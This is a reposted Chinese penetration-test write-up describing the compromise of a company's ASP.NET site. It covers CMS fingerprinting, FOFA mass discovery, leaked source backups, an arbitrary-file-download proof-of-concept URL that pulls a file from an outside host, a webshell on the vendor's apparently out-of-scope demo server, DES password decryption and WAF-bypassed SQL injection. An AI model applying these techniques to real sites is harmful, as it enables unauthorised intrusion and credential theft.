实战渗透！我是如何一个破站日一天的

朴灿烈づ我的快乐病毒、 2024-04-07 10:42 48阅读 0赞

### **0x00 使用关键词得到目标源码** ###

某日上午接到临时安排对某公司进行渗透测试，此次渗透给的是一个主域名，并且也没有子域，打开了目标网站先对其进行一波信息收集

[![8afccc3c0b726e300cd3893530ac6afb.png][]][8afccc3c0b726e300cd3893530ac6afb.png 1]

中间件: IIS 8.5 [![cbc84ab48521aa81d532da1bcfb62b97.png][]][cbc84ab48521aa81d532da1bcfb62b97.png 1]  
输入admin发现自动添加了/  
说明其目录存在，那么盲猜一波文件，login.aspx default.aspx main.aspx 等等 [![fab446c0b31a14b3e36435abad04ae4f.png][]][fab446c0b31a14b3e36435abad04ae4f.png 1]  
最终在login.aspx下面发现后台登录页面。这不猜他一波弱口令？？  
一顿操作过后账号被锁 [![9b4c6abb80882cfbda94ec0bb612d580.png][]][9b4c6abb80882cfbda94ec0bb612d580.png 1]  
熟悉的开局，既然如此只能尝试其他方法了。  
在主页的html代码中发现了某处信息 [![8e7388256948b607fa422193b375f044.png][]][8e7388256948b607fa422193b375f044.png 1]  
设计制作？根据后面的域名访问过去，是一个建站公司  
那么，入手点来了。IIS8.5+ASP.NET+建站系统  
先扫一波备份文件: [![b23a74478f8993344effe1099acdbee2.png][]][b23a74478f8993344effe1099acdbee2.png 1]  
400多条ip这开发商还行。使用FOFA查询工具，批量导出 [![d6507ad12a7f50199dee00083b9d61ea.png][]][d6507ad12a7f50199dee00083b9d61ea.png 1]  
然后我们来扫一下备份文件。这里推荐我B哥的扫描器 [https://github.com/broken5/WebAliveScan][https_github.com_broken5_WebAliveScan]  
可以进行批量存活扫描和目录扫描 [![e93269b9c406ac1f592d78c704c89a23.png][]][e93269b9c406ac1f592d78c704c89a23.png 1]  
在好几个站下面发现web.zip备份文件。  
下载下来过后，对其目标站点文件进行了对比。基本一致 [![60de55f9383168f18074851e4ebe528e.png][]][60de55f9383168f18074851e4ebe528e.png 1]

### **0x01 拿到代码开始审计多次碰壁** ###

那么开始审计。

[![78526f142ecc261f041a9f5c5768cb26.png][]][78526f142ecc261f041a9f5c5768cb26.png 1]

在某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)  
由于该方法需要提供绝对路径。。比较头疼，但我跟踪相关参数。发现。  
在另一个方法中调用了该方法。 [![df84cdd647d31de6469f69122cde449c.png][]][df84cdd647d31de6469f69122cde449c.png 1]  
并传入Server.MapPath，这根本不需要找绝对路径了系统都给你安排好了。  
那么构造POC:  
ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl= [http://\*\*\*.cn/][http_.cn] [![c7d0dd605b9ffa70f0835394b919373b.png][]][c7d0dd605b9ffa70f0835394b919373b.png 1]  
访问地址: [![95d07331f590ec2423b3fff9acb55df7.png][]][95d07331f590ec2423b3fff9acb55df7.png 1]  
文件存在，那么证明可行  
回到目标地址: [![daf9b0f76a9babb6e500d66ce9d9e464.png][]][daf9b0f76a9babb6e500d66ce9d9e464.png 1]  
被修复了文件不存在  
继续回到代码中,审计其他漏洞在其他接口中，也均存在多个漏洞。如ueditor远程抓取漏洞 [![3b662eb6c144495a056e47a6007e1860.png][]][3b662eb6c144495a056e47a6007e1860.png 1]  
文件重命名可Getshell

[![dde57578db106b5f68034eebec09a8a6.png][]][dde57578db106b5f68034eebec09a8a6.png 1]

但是这些接口都需要登录

[![81b6b945eb3589c19c7054fcc4ed9a24.png][]][81b6b945eb3589c19c7054fcc4ed9a24.png 1]

这就很头疼了,打算在一些无需登录的接口中尝试寻找SQL注入。  
最终在某处发现SQL拼接。 [![68e1e2aae492cd11fe94da78ceb69104.png][]][68e1e2aae492cd11fe94da78ceb69104.png 1]  
但是这里调用了IsSafeSqlString检测 [![1604741e05e18c015a1923ca68699670.png][]][1604741e05e18c015a1923ca68699670.png 1]  
常见符号基本被卡的死死的

### **0x02 拿下开发商寻找通用账号逆向加解密算法** ###

由于都是使用了相同的建站程序,怀疑有程序内置账户  
于是准备通过刚才审计出来的漏洞。从同程序的站点入手  
最终在某个站点成功拿到Webshell  
看了下相关信息

[![9a2c15d1c52ac665f19a84cf6a4b67d4.png][]][9a2c15d1c52ac665f19a84cf6a4b67d4.png 1]

居然是厂商的演示站群，存了该开发商所有站点源码。  
应该是在开发过程中的演示环境吧站点有很多，估计每个客户都有。  
在服务器里翻到了目标站点的演示网站 [![ec2a844b9c20ef5027dd5e2bbc96fd42.png][]][ec2a844b9c20ef5027dd5e2bbc96fd42.png 1]  
根目录下有zip网站备份和sql 数据库备份。  
如果说目标站点是直接搬迁过去的，那么后台账户密码应该是一样的。  
将其SQL文件下载下来。再其中搜索相关信息 [![d97c82ca475cc16bb63681c4f0bdea31.png][]][d97c82ca475cc16bb63681c4f0bdea31.png 1]  
发现了插入账户的SQL语句。其密码是加密过的 [![e9e472e4ba89a731102277e3d7c34b26.png][]][e9e472e4ba89a731102277e3d7c34b26.png 1]  
cmd5解不开，看了下密文是33位加密。  
但是登录过程中，密码是RSA加密过后传输的，而后端居然是33位的md5加密 [![5725ac54ca4d5cd7a43b3c82a8e5868c.png][]][5725ac54ca4d5cd7a43b3c82a8e5868c.png 1]  
因为有源代码，追踪了一下登录了相关方法。 [![8d135d736fb4cf3159a49941d2ea14fb.png][]][8d135d736fb4cf3159a49941d2ea14fb.png 1]  
密码传入后，调用了CommFun.EnPwd进行了一次加密。  
追踪EnPwd方法 [![fb69070924ee5a79042561804f229bd8.png][]][fb69070924ee5a79042561804f229bd8.png 1]  
可以看到，传入进来的密码是RSA类型，先进行了一次RSA解密，然后进行了一次DES加密。  
追踪DESEncrypt.Encrypt方法。 [![7ebf6d31e53557ff901e99ae3211daab.png][]][7ebf6d31e53557ff901e99ae3211daab.png 1]  
这里是将Encrypt方法封装了一下，并传入加密key。  
其核心加密方法为下： [![5f8b04ab9116e0c51f2a26c0544c0935.png][]][5f8b04ab9116e0c51f2a26c0544c0935.png 1]  
并且，在该类里。还定义了解密方法 [![36ea89789915cf4d3cd9e65cb47f21b9.png][]][36ea89789915cf4d3cd9e65cb47f21b9.png 1]  
得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了。 [![808b49d643600f545d6030dede12de34.png][]][808b49d643600f545d6030dede12de34.png 1]  
将得到加密字符进行解密，得到结果 [![ef239134ebd25d512793ffcae6382227.png][]][ef239134ebd25d512793ffcae6382227.png 1]  
尝试登录 [![6b80b37ea968767bba4e5a0f37027929.png][]][6b80b37ea968767bba4e5a0f37027929.png 1]  
忙活半天，白干了。

### **0x03 柳暗花明拿下目标shell** ###

已经下午4点了。还是一无进展，准备尝试绕过SQL过滤。  
就在这时候，我发现了一处SQL注入点。

[![25bf4a78051e3ba280a258159800da4f.png][]][25bf4a78051e3ba280a258159800da4f.png 1]

某方法接收了两个参数，却只对一个参数进行了过滤。  
在目标网站上测验 [![48dbd7a319ce71612cca36d47fb63876.png][]][48dbd7a319ce71612cca36d47fb63876.png 1]  
存在注入，发现存在waf使用垃圾参数填充成功绕过waf

[![2b876df03736cde54a67fd6dadca6f96.png][]][2b876df03736cde54a67fd6dadca6f96.png 1]

直接上sqlmap安心的跑，得到系统账户以及密文

[![bbb607a533c2563395bbebb85725d056.png][]][bbb607a533c2563395bbebb85725d056.png 1]

将得到的密文进行解密，得到结果

[![b2507b116e1a97604e028bee3f4219d2.png][]][b2507b116e1a97604e028bee3f4219d2.png 1]

尝试登录。这下总对了吧!

[![14487a8866d9dba78291c788776ce6ca.png][]][14487a8866d9dba78291c788776ce6ca.png 1]

终于进来了！！！！  
经过之前的审计，发现了很多接口都存在漏洞，现在成功登录了。岂不是随便getshell？  
直接ueditor带走。 [![3a21c7889df93bcee22bacc66018a0b2.png][]][3a21c7889df93bcee22bacc66018a0b2.png 1]  
成功shell

### **0x04 总结** ###

1.在目标网址后加入admin显示管理后台，并在网站底部查询到该网站的CMS信息

2.通过fofa批量搜索该CMS的其他网站： body="xxxx系统”&country="CN"

3.通过fofa查询工具批量导出查询的网站网址

4.通过WebAliveScan对导出网站网址进行批量敏感目录扫描，并发现其中一个网站存在源代码压缩包泄露。

5.对网站源码进行本地代码审计，发现以下漏洞：

存在任意文件下载漏洞，不需要登录

ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://\*\*\*.cn/

ueditor编辑器远程文件下载漏洞，需要登录

存在SQL注入漏洞，需要登录，且被过滤了

6.通过任意文件下载漏洞拿到其中一个网址的webshell，发现是产商的演示的站群系统。

7.通过webshell发现站群中每个网站根目录下有zip网站备份和sql 数据库备份，SQL语句中包含插入的用户名和密码(密码为33位)，站群的所有登录基本上都使用相同的用户名和密码

8.通过源代码分析发现登录处是通过RSA+DES加密，并在源码中找到加密的方法和KEY值

10.通过源代码中加密方法写出解密方法，并解密出HASH值，但是登录，是无法登录

11.通过源代码审计又发现一处SQL注入，这里通过垃圾填充数据让WAF拦截，进行注入，通过SQLMAP跑出用户名的用户和密码

，通过上面的解密方法，对其密码hash值解密，最终得到了明文密码

12.通过得到的用户名和密码登录系统，然后通过ueditor编辑器远程文件下载获得目标系统的webshell

原文链接：[https://xz.aliyun.com/t/8375][https_xz.aliyun.com_t_8375]

[8afccc3c0b726e300cd3893530ac6afb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b9377f6675cc427a9e2dc31a4a84775f.png
[8afccc3c0b726e300cd3893530ac6afb.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100359-db24aaba-0f53-1.png
[cbc84ab48521aa81d532da1bcfb62b97.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ab8b2df3571c453c88306e1a1acee9f2.png
[cbc84ab48521aa81d532da1bcfb62b97.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100400-db4014f8-0f53-1.png
[fab446c0b31a14b3e36435abad04ae4f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b9c9393761744f1b939aae85d9950a49.png
[fab446c0b31a14b3e36435abad04ae4f.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100400-db520776-0f53-1.png
[9b4c6abb80882cfbda94ec0bb612d580.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/09d70a76e7054c37842ec896b67471f7.png
[9b4c6abb80882cfbda94ec0bb612d580.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100400-db8e85ca-0f53-1.png
[8e7388256948b607fa422193b375f044.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0ecc9fbc9a894df7a49fdfafcd16b546.png
[8e7388256948b607fa422193b375f044.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100400-dba23bba-0f53-1.png
[b23a74478f8993344effe1099acdbee2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4306fcbdf199435fb0f6765ac04522e0.png
[b23a74478f8993344effe1099acdbee2.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100400-dbb39a36-0f53-1.png
[d6507ad12a7f50199dee00083b9d61ea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/55084c22185b47978f7d0de4a16f18d4.png
[d6507ad12a7f50199dee00083b9d61ea.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100400-dbc83694-0f53-1.png
[https_github.com_broken5_WebAliveScan]: https://github.com/broken5/WebAliveScan
[e93269b9c406ac1f592d78c704c89a23.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c3371122a6764ac89c3d24c682cd97e8.png
[e93269b9c406ac1f592d78c704c89a23.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dbe023d0-0f53-1.png
[60de55f9383168f18074851e4ebe528e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d295df41896046409c94a3d19cf127df.png
[60de55f9383168f18074851e4ebe528e.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dbf86350-0f53-1.png
[78526f142ecc261f041a9f5c5768cb26.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/932ca5c15092402c934f4c7749daeeaf.png
[78526f142ecc261f041a9f5c5768cb26.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dc0d3280-0f53-1.png
[df84cdd647d31de6469f69122cde449c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/915b942993b6452ea654ae050cfd837c.png
[df84cdd647d31de6469f69122cde449c.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dc2bce16-0f53-1.png
[http_.cn]: http://%2A%2A%2A.cn/
[c7d0dd605b9ffa70f0835394b919373b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f6334d82c55c4bd99a48fb231621c1e3.png
[c7d0dd605b9ffa70f0835394b919373b.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dc3c75ae-0f53-1.png
[95d07331f590ec2423b3fff9acb55df7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7095fb9f0529405ea7e3f775cdf73bac.png
[95d07331f590ec2423b3fff9acb55df7.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dc4d5c3e-0f53-1.png
[daf9b0f76a9babb6e500d66ce9d9e464.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/487a6b5cdc9e415885667429baea8360.png
[daf9b0f76a9babb6e500d66ce9d9e464.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dc5dc542-0f53-1.png
[3b662eb6c144495a056e47a6007e1860.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ff1a0edc2a7e42758008af0290d98373.png
[3b662eb6c144495a056e47a6007e1860.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100401-dc6f7396-0f53-1.png
[dde57578db106b5f68034eebec09a8a6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1ea3a2115ccf4ceaa94d3e0f92bf8576.png
[dde57578db106b5f68034eebec09a8a6.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016110101-d2b162c6-0f5b-1.png
[81b6b945eb3589c19c7054fcc4ed9a24.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/96264a0c65df433d869eac21c71ea7b0.png
[81b6b945eb3589c19c7054fcc4ed9a24.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100402-dc9959f4-0f53-1.png
[68e1e2aae492cd11fe94da78ceb69104.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cb92d27c17d045f590c49db7481a6a21.png
[68e1e2aae492cd11fe94da78ceb69104.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100402-dcb25bde-0f53-1.png
[1604741e05e18c015a1923ca68699670.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5fbffb832e4c469f9597432e38e6289f.png
[1604741e05e18c015a1923ca68699670.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100402-dcc88db4-0f53-1.png
[9a2c15d1c52ac665f19a84cf6a4b67d4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/fced192d9e0c4e21b52e78bc0bbcb83e.png
[9a2c15d1c52ac665f19a84cf6a4b67d4.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100402-dcde8c86-0f53-1.png
[ec2a844b9c20ef5027dd5e2bbc96fd42.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6d6e4f146daf476d8c75cd9f76ce5b5c.png
[ec2a844b9c20ef5027dd5e2bbc96fd42.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100402-dcee1908-0f53-1.png
[d97c82ca475cc16bb63681c4f0bdea31.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/69d759ee75f84225ab41472e7301304d.png
[d97c82ca475cc16bb63681c4f0bdea31.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100402-dd0676ba-0f53-1.png
[e9e472e4ba89a731102277e3d7c34b26.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/da744f032e46494b970267797f30dd8d.png
[e9e472e4ba89a731102277e3d7c34b26.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd17af84-0f53-1.png
[5725ac54ca4d5cd7a43b3c82a8e5868c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f80c0109230143e38e356e8e803aaa02.png
[5725ac54ca4d5cd7a43b3c82a8e5868c.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd25f6ca-0f53-1.png
[8d135d736fb4cf3159a49941d2ea14fb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/eabd0e1a5504492a8b6dfc600a3b1fca.png
[8d135d736fb4cf3159a49941d2ea14fb.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd448ae0-0f53-1.png
[fb69070924ee5a79042561804f229bd8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cdf4f3f2522441bfbcfb24254e7cedd3.png
[fb69070924ee5a79042561804f229bd8.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd5747fc-0f53-1.png
[7ebf6d31e53557ff901e99ae3211daab.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4604f14ef69748ddbd1c70a7833dd3d8.png
[7ebf6d31e53557ff901e99ae3211daab.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd644f24-0f53-1.png
[5f8b04ab9116e0c51f2a26c0544c0935.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c3b5994151d1466dafd1d5fc6be0be96.png
[5f8b04ab9116e0c51f2a26c0544c0935.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd781db0-0f53-1.png
[36ea89789915cf4d3cd9e65cb47f21b9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/270f9e6bd2774751b5d23af90b252ba3.png
[36ea89789915cf4d3cd9e65cb47f21b9.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100403-dd929ac8-0f53-1.png
[808b49d643600f545d6030dede12de34.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1b50cbd6ba89470e9563f48f2db9f82c.png
[808b49d643600f545d6030dede12de34.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100404-ddae7f72-0f53-1.png
[ef239134ebd25d512793ffcae6382227.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/809dfeddcc0a400796d054f20a6a9291.png
[ef239134ebd25d512793ffcae6382227.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100404-ddcf128c-0f53-1.png
[6b80b37ea968767bba4e5a0f37027929.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a119856395d641e09fb7edbed319d2e2.png
[6b80b37ea968767bba4e5a0f37027929.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100404-de1994ba-0f53-1.png
[25bf4a78051e3ba280a258159800da4f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/65cbecadfd194bf0a510002298cf1418.png
[25bf4a78051e3ba280a258159800da4f.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100404-de316c84-0f53-1.png
[48dbd7a319ce71612cca36d47fb63876.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c3d6161c6a924ce486a23609092e92b5.png
[48dbd7a319ce71612cca36d47fb63876.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100405-de43d41e-0f53-1.png
[2b876df03736cde54a67fd6dadca6f96.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8f385e267d79407cb065010c72ec4289.png
[2b876df03736cde54a67fd6dadca6f96.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016111453-c26df40e-0f5d-1.png
[bbb607a533c2563395bbebb85725d056.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2923ee3d72e6440598b152d2b12d6c36.png
[bbb607a533c2563395bbebb85725d056.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100405-de870018-0f53-1.png
[b2507b116e1a97604e028bee3f4219d2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/eb702031755c43828339e6ec74198ff5.png
[b2507b116e1a97604e028bee3f4219d2.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016110757-cabf4208-0f5c-1.png
[14487a8866d9dba78291c788776ce6ca.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a6f01d95667649b8a203c3898d2847eb.png
[14487a8866d9dba78291c788776ce6ca.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100405-deb17460-0f53-1.png
[3a21c7889df93bcee22bacc66018a0b2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0644ce7296cd4a6eafca8235663a3647.png
[3a21c7889df93bcee22bacc66018a0b2.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20201016100405-ded29f78-0f53-1.png
[https_xz.aliyun.com_t_8375]: https://xz.aliyun.com/t/8375